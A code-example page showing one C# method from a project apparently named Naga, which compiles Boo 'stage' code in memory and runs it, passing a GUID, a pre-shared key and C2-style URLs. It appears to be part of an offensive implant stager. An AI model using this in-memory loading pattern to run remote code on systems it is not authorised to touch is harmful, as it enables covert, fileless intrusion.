Esempio n. 1
0
File: St.cs Progetto: pafh99/Naga
        public static void RunBooEngine(string source)
        {
            Console.WriteLine("\n[*] Compiling Stage Code");

            CompilerParameters parameters = new CompilerParameters(false);

            parameters.Input.Add(new StringInput("Stage.boo", source));
            parameters.Pipeline = new CompileToMemory();
            parameters.Ducky    = true;

            parameters.AddAssembly(Assembly.LoadWithPartialName("Boo.Lang"));
            parameters.AddAssembly(Assembly.LoadWithPartialName("Boo.Lang.Extensions"));
            parameters.AddAssembly(Assembly.LoadWithPartialName("Boo.Lang.Parser"));
            parameters.AddAssembly(Assembly.LoadWithPartialName("Boo.Lang.Compiler"));
            parameters.AddAssembly(Assembly.LoadWithPartialName("mscorlib"));
            parameters.AddAssembly(Assembly.LoadWithPartialName("System"));
            parameters.AddAssembly(Assembly.LoadWithPartialName("System.Core"));
            parameters.AddAssembly(Assembly.LoadWithPartialName("System.Web.Extensions"));
            //Console.WriteLine(compiler.Parameters.LibPaths);
            //compiler.Parameters.LoadAssembly("System");

            BooCompiler     compiler = new BooCompiler(parameters);
            CompilerContext context  = compiler.Run();

            //Note that the following code might throw an error if the Boo script had bugs.
            //Poke context.Errors to make sure.
            if (context.GeneratedAssembly != null)
            {
                Console.WriteLine("[+] Compilation Successful!");
                Console.WriteLine("[*] Executing");

                //AppDomain.CurrentDomain.AssemblyResolve -= ResolveEventHandler;
                context.GeneratedAssembly.EntryPoint.Invoke(null, new object[] { new string[] { GUID.ToString(), HEXPSK, string.Join(",", URLS) } });
            }
            else
            {
                Console.WriteLine("[-] Error(s) compiling script, this probably means your Boo script has bugs\n");
                foreach (CompilerError error in context.Errors)
                {
                    Console.WriteLine(error);
                }
            }
        }